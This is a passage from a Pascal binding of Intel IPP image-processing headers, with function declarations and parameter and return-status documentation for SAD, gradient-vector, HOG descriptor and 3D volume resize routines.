pDst Pointer to the destination image ROI.
dstStep Distance in bytes between starting points of consecutive lines in the destination image.
dstRoiSize Size of the destination ROI in pixels.
horShift Horizontal shift of the pSrc2 image.
borderType Type of border. Possible values are:
ippBorderRepl Border is replicated from the edge pixels.
ippBorderInMem Border is obtained from the source image pixels in memory.
Mixed borders are also supported.
They can be obtained by the bitwise operation OR between ippBorderRepl and ippBorderInMemTop, ippBorderInMemBottom, ippBorderInMemLeft, ippBorderInMemRight.
borderValue Constant value to assign to pixels of the constant border. This parameter is applicable only to the ippBorderConst border type.
Returns:
ippStsNoErr Indicates no error.
ippStsNullPtrErr Indicates an error when one of the specified pointers is NULL.
ippStsSizeErr Indicates an error if dstRoiSize has a field with zero or negative value.
ippStsBadArgErr Indicates an error when border has an illegal value.
}
function ippiLBPImageHorizCorr_8u_C1R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; horShift : Int32 ; borderType : IppiBorderType ; pBorderValue : Ipp8uPtr): IppStatus; _ippapi
function ippiLBPImageHorizCorr_16u_C1R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; horShift : Int32 ; borderType : IppiBorderType ; pBorderValue : Ipp16uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiSADGetBufferSize
Purpose: Compute size of the work buffer for the ippiSAD
Parameters:
srcRoiSize size of the source ROI in pixels
tplRoiSize size of the template ROI in pixels
dataType input data specifier
numChannels Number of channels in the images
shape enumeration, defined shape result of the following SAD operation
pBufferSize pointer to the computed value of the external buffer size
Return:
ippStsNoErr no errors
ippStsNullPtrErr pBufferSize==NULL
ippStsSizeErr 0>=srcRoiSize.width || 0>=srcRoiSize.height
0>=tplRoiSize.width || 0>=tplRoiSize.height
ippStsDataTypeErr dataType!=8u or dataType!=16u or dataType!=16s or dataType!=32f
ippStsNotSupportedModeErr shape != ippiROIValid
numChannels != 1
dataType has an illegal value
}
function ippiSADGetBufferSize( srcRoiSize : IppiSize ; tplRoiSize : IppiSize ; dataType : IppDataType ; numChannels : Int32 ; shape : IppiROIShape ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiSAD_...
Purpose: Sum of Absolute Differences of given image and template
Parameters:
pSrc pointer to source ROI
srcStep step through the source image
srcRoiSize size of sourse ROI (pixels)
pTpl pointer to template (source) ROI
tplStep step through the template image
tplRoiSize size of template ROI (pixels)
pDst pointer to destination ROI
dstStep step through the destination image
shape defined shape result of the SAD operation
scaleFactor scale factor
pBuffer pointer to the buffer for internal computation (is currentry used)
Return status:
ippStsNoErr no errors
ippStsNullPtrErr pSrc==NULL or pTpl==NULL or pDst==NULL
ippStsStepErr srcStep/dstStep has a zero or negative value
srcStep/dstStep value is not multiple to image data size
ippStsSizeErr ROI has any field with zero or negative value
ippStsNotSupportedModeErr intersection of source and destination ROI is detected
shape!=ippiROIValid
ippStsBadArgErr illegal scaleFactor value, i.e. !(0<=scalefactor<log(W*H)
*}
function ippiSAD_8u32s_C1RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pTpl : Ipp8uPtr ; tplStep : Int32 ; tplRoiSize : IppiSize ; pDst : Ipp32sPtr ; dstStep : Int32 ; shape : IppiROIShape ; scaleFactor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiSAD_16u32s_C1RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pTpl : Ipp16uPtr ; tplStep : Int32 ; tplRoiSize : IppiSize ; pDst : Ipp32sPtr ; dstStep : Int32 ; shape : IppiROIShape ; scaleFactor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiSAD_16s32s_C1RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pTpl : Ipp16sPtr ; tplStep : Int32 ; tplRoiSize : IppiSize ; pDst : Ipp32sPtr ; dstStep : Int32 ; shape : IppiROIShape ; scaleFactor : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiSAD_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pTpl : Ipp32fPtr ; tplStep : Int32 ; tplRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; shape : IppiROIShape ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGradientVectorGetBufferSize
Purpose: Computes the size of the external buffer for
Gradient() calls
Parameters:
roiSize Size of destination ROI in pixels
mask Predefined mask of IppiMaskSize type. Possible values are ippMask3x3 or ippMask5x5
dataType Input data type specifier
numChannels Number of channels of the input image
pBufferSize Pointer to the size (in bytes) of the external work buffer.
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error when pBufferSize is NULL
ippStsDataTypeErr dataType!=8u or dataType!=16u or dataType!=16s or dataType!=32f
ippStsSizeErr Indicates an error when roiSize is negative, or equal to zero.
ippStsMaskSizeErr Indicates an error condition if mask has a wrong value
}
function ippiGradientVectorGetBufferSize( roiSize : IppiSize ; mask : IppiMaskSize ; dataType : IppDataType ; numChannels : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGradientVectorSobel_8u16s_C1R
ippiGradientVectorSobel_16u32f_C1R
ippiGradientVectorSobel_16s32f_C1R
ippiGradientVectorSobel_32f_C1R
ippiGradientVectorScharr_8u16s_C1R
ippiGradientVectorScharr_16u32f_C1R
ippiGradientVectorScharr_16s32f_C1R
ippiGradientVectorScharr_32f_C1R
ippiGradientVectorPrewitt_8u16s_C1R
ippiGradientVectorPrewitt_16u32f_C1R
ippiGradientVectorPrewitt_16s32f_C1R
ippiGradientVectorPrewitt_32f_C1R
ippiGradientVectorSobel_8u16s_C3C1R
ippiGradientVectorSobel_16u32f_C3C1R
ippiGradientVectorSobel_16s32f_C3C1R
ippiGradientVectorSobel_32f_C3C1R
ippiGradientVectorScharr_8u16s_C3C1R
ippiGradientVectorScharr_16u32f_C3C1R
ippiGradientVectorScharr_16s32f_C3C1R
ippiGradientVectorScharr_32f_C3C1R
ippiGradientVectorPrewitt_8u16s_C3C1R
ippiGradientVectorPrewitt_16u32f_C3C1R
ippiGradientVectorPrewitt_16s32f_C3C1R
ippiGradientVectorPrewitt_32f_C3C1R
Purpose: Computes gradient vectors over an image using Sobel, Scharr or Prewitt operator
Parameters:
pSrc pointer to source ROI
srcStep step through the source image
pGx pointer to the X-component of computed gradient
gxStep step through the X-component image
pGy pointer to the Y-component of computed gradient
gyStep step through the Y-component image
pMag pointer to the magnitude of computed gradient
magStep step through the magnitude image
pAngle pointer to the angle of computed gradient
angleStep step through the magnitude image
dstRoiSize size of destination
mask operator size specfier
normType normalization type (L1 or L2) specfier
borderType kind of border specfier
borderValue constant border value
pBuffer pointer to the buffer for internal computation (is currently used)
Return status:
ippStsNoErr no error
ippStsNullPtrErr pSrc==NULL
ippStsStepErr srcStep has a zero or negative value
applicable gxStep or gyStep or magStep or angleStep has a zero or negative value
or is not multiple to image data size (4 for floating-point images or by 2 for short-integer images)
ippStsSizeErr ROI has any field with zero or negative value
ippStsMaskSizeErr illegal maskSize specfier value
ippStsBadArgErr illegal normType specfier value
ippStsBorderErr illegal borderType specfier value
}
function ippiGradientVectorSobel_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pGx : Ipp16sPtr ; gxStep : Int32 ; pGy : Ipp16sPtr ; gyStep : Int32 ; pMag : Ipp16sPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorSobel_16u32f_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pGx : Ipp32fPtr ; gxStep : Int32 ; pGy : Ipp32fPtr ; gyStep : Int32 ; pMag : Ipp32fPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; borderValue : Ipp16u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorSobel_16s32f_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pGx : Ipp32fPtr ; gxStep : Int32 ; pGy : Ipp32fPtr ; gyStep : Int32 ; pMag : Ipp32fPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; borderValue : Ipp16s ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorSobel_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pGx : Ipp32fPtr ; gxStep : Int32 ; pGy : Ipp32fPtr ; gyStep : Int32 ; pMag : Ipp32fPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorScharr_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pGx : Ipp16sPtr ; gxStep : Int32 ; pGy : Ipp16sPtr ; gyStep : Int32 ; pMag : Ipp16sPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorScharr_16u32f_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pGx : Ipp32fPtr ; gxStep : Int32 ; pGy : Ipp32fPtr ; gyStep : Int32 ; pMag : Ipp32fPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; borderValue : Ipp16u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorScharr_16s32f_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pGx : Ipp32fPtr ; gxStep : Int32 ; pGy : Ipp32fPtr ; gyStep : Int32 ; pMag : Ipp32fPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; borderValue : Ipp16s ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorScharr_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pGx : Ipp32fPtr ; gxStep : Int32 ; pGy : Ipp32fPtr ; gyStep : Int32 ; pMag : Ipp32fPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorPrewitt_8u16s_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pGx : Ipp16sPtr ; gxStep : Int32 ; pGy : Ipp16sPtr ; gyStep : Int32 ; pMag : Ipp16sPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorPrewitt_16u32f_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pGx : Ipp32fPtr ; gxStep : Int32 ; pGy : Ipp32fPtr ; gyStep : Int32 ; pMag : Ipp32fPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; borderValue : Ipp16u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorPrewitt_16s32f_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pGx : Ipp32fPtr ; gxStep : Int32 ; pGy : Ipp32fPtr ; gyStep : Int32 ; pMag : Ipp32fPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; borderValue : Ipp16s ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorPrewitt_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pGx : Ipp32fPtr ; gxStep : Int32 ; pGy : Ipp32fPtr ; gyStep : Int32 ; pMag : Ipp32fPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorSobel_8u16s_C3C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pGx : Ipp16sPtr ; gxStep : Int32 ; pGy : Ipp16sPtr ; gyStep : Int32 ; pMag : Ipp16sPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; const borderValue : Ipp8u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorSobel_16u32f_C3C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pGx : Ipp32fPtr ; gxStep : Int32 ; pGy : Ipp32fPtr ; gyStep : Int32 ; pMag : Ipp32fPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; const borderValue : Ipp16u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorSobel_16s32f_C3C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pGx : Ipp32fPtr ; gxStep : Int32 ; pGy : Ipp32fPtr ; gyStep : Int32 ; pMag : Ipp32fPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; const borderValue : Ipp16s_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorSobel_32f_C3C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pGx : Ipp32fPtr ; gxStep : Int32 ; pGy : Ipp32fPtr ; gyStep : Int32 ; pMag : Ipp32fPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; const borderValue : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorScharr_8u16s_C3C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pGx : Ipp16sPtr ; gxStep : Int32 ; pGy : Ipp16sPtr ; gyStep : Int32 ; pMag : Ipp16sPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; const borderValue : Ipp8u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorScharr_16u32f_C3C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pGx : Ipp32fPtr ; gxStep : Int32 ; pGy : Ipp32fPtr ; gyStep : Int32 ; pMag : Ipp32fPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; const borderValue : Ipp16u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorScharr_16s32f_C3C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pGx : Ipp32fPtr ; gxStep : Int32 ; pGy : Ipp32fPtr ; gyStep : Int32 ; pMag : Ipp32fPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; const borderValue : Ipp16s_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorScharr_32f_C3C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pGx : Ipp32fPtr ; gxStep : Int32 ; pGy : Ipp32fPtr ; gyStep : Int32 ; pMag : Ipp32fPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; const borderValue : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorPrewitt_8u16s_C3C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pGx : Ipp16sPtr ; gxStep : Int32 ; pGy : Ipp16sPtr ; gyStep : Int32 ; pMag : Ipp16sPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; const borderValue : Ipp8u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorPrewitt_16u32f_C3C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pGx : Ipp32fPtr ; gxStep : Int32 ; pGy : Ipp32fPtr ; gyStep : Int32 ; pMag : Ipp32fPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; const borderValue : Ipp16u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorPrewitt_16s32f_C3C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pGx : Ipp32fPtr ; gxStep : Int32 ; pGy : Ipp32fPtr ; gyStep : Int32 ; pMag : Ipp32fPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; const borderValue : Ipp16s_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiGradientVectorPrewitt_32f_C3C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pGx : Ipp32fPtr ; gxStep : Int32 ; pGy : Ipp32fPtr ; gyStep : Int32 ; pMag : Ipp32fPtr ; magStep : Int32 ; pAngle : Ipp32fPtr ; angleStep : Int32 ; dstRoiSize : IppiSize ; maskSize : IppiMaskSize ; normType : IppNormType ; borderType : IppiBorderType ; const borderValue : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiHOGGetSize
Purpose: Computes size of HOG spec
Parameters:
pConfig pointer to HOG configure
pSpecSize pointer to the size of HOG spec
Return status:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error when pConfig or pSpecSize is NULL
ippStsSizeErr Indicates an error in HOG configure:
size of detection window has any field with zero or negative value
ippStsNotSupportedModeErr Indicates an error in HOG configure:
- 2>cellSize or cellSize>IPP_HOG_MAX_CELL
- cellSize>blockSize or blockSize>IPP_HOG_MAX_BLOCK
- blockSize is not multiple cellSize
- block has not 2x2 cell geomentry
- blockStride is not multiple cellSize
- detection window size is not multiple blockSize
- 2>nbins or nbins>IPP_HOG_MAX_BINS
- sigma or l2thresh is not positive value
}
function ippiHOGGetSize( pConfig : IppiHOGConfigPtr ; pHOGSpecSize : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiHOGInit
Purpose: Initialize the HOG spec for future use
Parameters:
pConfig pointer to HOG configure
pHOGSpec pointer to the HOG spec
Return status:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error when pConfig or pHOGSpec is NULL
ippStsSizeErr Indicates an error when size of detection window
defined in pConfig is not match to other
(blockSize and blockStride) geometric parameters
ippStsNotSupportedModeErr Indicates an error in HOG configure:
- 2>cellSize or cellSize>IPP_HOG_MAX_CELL
- cellSize>blockSize or blockSize>IPP_HOG_MAX_BLOCK
- blockSize is not multiple cellSize
- block has not 2x2 cell geomentry
- blockStride is not multiple cellSize
- 2>nbins or nbins>IPP_HOG_MAX_BINS
- sigma or l2thresh is not positive value
}
function ippiHOGInit( pConfig : IppiHOGConfigPtr ; pHOGSpec : IppiHOGSpecPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiHOGGetBufferSize
Purpose: Computes size of work buffer
Parameters:
pHOGSpec pointer to the HOG spec
roiSize max size of input ROI (pixels)
pBufferSize pointer to the size of work buffer (in bytes)
Return status:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error when pHOGSpec or pBufferSizeis is NULL
ippStsContextMatchErr Indicates an error when undefined pHOGSpec
ippStsSizeErr Indicates an error if roiSize has any field is less then pConfig->winSize
}
function ippiHOGGetBufferSize( pHOGSpec : IppiHOGSpecPtr ; roiSize : IppiSize ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiHOGGetDescriptorSize
Purpose: Computes size of HOG descriptor
Parameters:
pHOGSpec pointer to the HOG spec
pWinDescriptorSize pointer to the size of HOG descriptor (in bytes)
per each detection window
Return status:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error when pHOGSpec or pDescriptorSize is NULL
ippStsContextMatchErr Indicates an error when undefined pHOGSpec
}
function ippiHOGGetDescriptorSize( pHOGSpec : IppiHOGSpecPtr ; pWinDescriptorSize : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiHOG
Purpose: Computes HOG descriptor
Parameters:
pSrc pointer to the input detection window
roiSize size of detection window
srcStep input image step
pLocation array of locations of interest (LOI) (detection window position)
nLocations number of LOI
pDst pointer to the HOG descriptor
pHOGSpec pointer to the HOG spec
borderID border type specifier
borderValue border constant value
pBuffer pointer to the work buffer
Return status:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error when pHOGSpec, pSrc, or pDst is NULL
ippStsContextMatchErr Indicates an error when undefined pHOGSpec
ippStsStepErr Indicates an error is input image step isn`t positive
ippStsNotEvenStepErr Indicates an error when srcStep is not multiple input data type
ippStsSizeErr Indicates an error if roiSize isn`t matchs to HOG context
ippStsBorderErr Indicates an error when borderID is not
ippBorderInMem, ippBorderRepl or ippBorderConst
(or derivative from)
}
function ippiHOG_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pLocation : IppiPointPtr ; nLocations : Int32 ; pDst : Ipp32fPtr ; pHOGSpec : IppiHOGSpecPtr ; borderID : IppiBorderType ; borderValue : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiHOG_16u32f_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pLocation : IppiPointPtr ; nLocations : Int32 ; pDst : Ipp32fPtr ; pHOGSpec : IppiHOGSpecPtr ; borderID : IppiBorderType ; borderValue : Ipp16u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiHOG_16s32f_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; pLocation : IppiPointPtr ; nLocations : Int32 ; pDst : Ipp32fPtr ; pHOGSpec : IppiHOGSpecPtr ; borderID : IppiBorderType ; borderValue : Ipp16s ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiHOG_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; pLocation : IppiPointPtr ; nLocations : Int32 ; pDst : Ipp32fPtr ; pHOGSpec : IppiHOGSpecPtr ; borderID : IppiBorderType ; borderValue : Ipp32f ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiHOG_8u32f_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pLocation : IppiPointPtr ; nLocations : Int32 ; pDst : Ipp32fPtr ; pHOGCtx : IppiHOGSpecPtr ; borderID : IppiBorderType ; borderValue : Ipp8u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiHOG_16u32f_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pLocation : IppiPointPtr ; nLocations : Int32 ; pDst : Ipp32fPtr ; pHOGCtx : IppiHOGSpecPtr ; borderID : IppiBorderType ; borderValue : Ipp16u_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiHOG_16s32f_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; roiSize : IppiSize ; pLocation : IppiPointPtr ; nLocations : Int32 ; pDst : Ipp32fPtr ; pHOGCtx : IppiHOGSpecPtr ; borderID : IppiBorderType ; borderValue : Ipp16s_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiHOG_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; pLocation : IppiPointPtr ; nLocations : Int32 ; pDst : Ipp32fPtr ; pHOGCtx : IppiHOGSpecPtr ; borderID : IppiBorderType ; borderValue : Ipp32f_3 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
3D Geometric Transform Functions
---------------------------------------------------------------------------- }
{
Name: ipprResizeGetBufSize
Purpose: Computes the size of an external work buffer (in bytes)
Parameters:
srcVOI region of interest of source volume
dstVOI region of interest of destination volume
nChannel number of channels
interpolation type of interpolation to perform for resizing the input volume:
IPPI_INTER_NN nearest neighbor interpolation
IPPI_INTER_LINEAR trilinear interpolation
IPPI_INTER_CUBIC tricubic polynomial interpolation
including two-parameter cubic filters:
IPPI_INTER_CUBIC2P_BSPLINE B-spline filter (1, 0)
IPPI_INTER_CUBIC2P_CATMULLROM Catmull-Rom filter (0, 1/2)
IPPI_INTER_CUBIC2P_B05C03 special filter with parameters (1/2, 3/10)
pSize pointer to the external buffer`s size
Returns:
ippStsNoErr no errors
ippStsNullPtrErr pSize == NULL
ippStsSizeErr width or height or depth of volumes is less or equal zero
ippStsNumChannelsErr number of channels is not one
ippStsInterpolationErr (interpolation != IPPI_INTER_NN) &&
(interpolation != IPPI_INTER_LINEAR) &&
(interpolation != IPPI_INTER_CUBIC) &&
(interpolation != IPPI_INTER_CUBIC2P_BSPLINE) &&
(interpolation != IPPI_INTER_CUBIC2P_CATMULLROM) &&
(interpolation != IPPI_INTER_CUBIC2P_B05C03)
}
function ipprResizeGetBufSize( srcVOI : IpprCuboid ; dstVOI : IpprCuboid ; nChannel : Int32 ; interpolation : Int32 ; var pSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ipprGetResizeCuboid
Purpose: Computes coordinates of the destination volume
Parameters:
srcVOI volume of interest of source volume
pDstCuboid resultant cuboid
xFactor they specify fraction of resizing in X direction
yFactor they specify fraction of resizing in Y direction
zFactor they specify fraction of resizing in Z direction
xShift they specify shifts of resizing in X direction
yShift they specify shifts of resizing in Y direction
zShift they specify shifts of resizing in Z direction
interpolation type of interpolation
Returns:
ippStsNoErr no errors
ippStsSizeErr width or height or depth of srcVOI is less or equal zero
ippStsResizeFactorErr xFactor or yFactor or zFactor is less or equal zero
ippStsInterpolationErr interpolation has an illegal value
ippStsNullPtrErr pDstCuboid == NULL
}
function ipprGetResizeCuboid( srcVOI : IpprCuboid ; pDstCuboid : IpprCuboidPtr ; xFactor : double ; yFactor : double ; zFactor : double ; xShift : double ; yShift : double ; zShift : double ; interpolation : Int32 ): IppStatus; _ippapi
{
Name: ipprResize_<mode>
Purpose: Performs RESIZE transform of the source volume
by xFactor, yFactor, zFactor and xShift, yShift, zShift
|X'| |xFactor 0 0 | |X| |xShift|
|Y'| = | yFactor 0 | * |Y| + |yShift|
|Z'| | 0 0 zFactor| |Z| |zShift|
Parameters:
pSrc pointer to source volume data (8u_C1V, 16u_C1V, 32f_C1V modes)
or array of pointers to planes in source volume data
srcVolume size of source volume
srcStep step in every plane of source volume
srcPlaneStep step between planes of source volume (8u_C1V, 16u_C1V, 32f_C1V modes)
srcVOI volume of interest of source volume
pDst pointer to destination volume data (8u_C1V and 16u_C1V modes)
or array of pointers to planes in destination volume data
dstStep step in every plane of destination volume
dstPlaneStep step between planes of destination volume (8u_C1V, 16u_C1V, 32f_C1V modes)
dstVOI volume of interest of destination volume
xFactor they specify fraction of resizing in X direction
yFactor they specify fraction of resizing in Y direction
zFactor they specify fraction of resizing in Z direction
xShift they specify shifts of resizing in X direction
yShift they specify shifts of resizing in Y direction
zShift they specify shifts of resizing in Z direction
interpolation type of interpolation to perform for resizing the input volume:
IPPI_INTER_NN nearest neighbor interpolation
IPPI_INTER_LINEAR trilinear interpolation
IPPI_INTER_CUBIC tricubic polynomial interpolation
including two-parameter cubic filters:
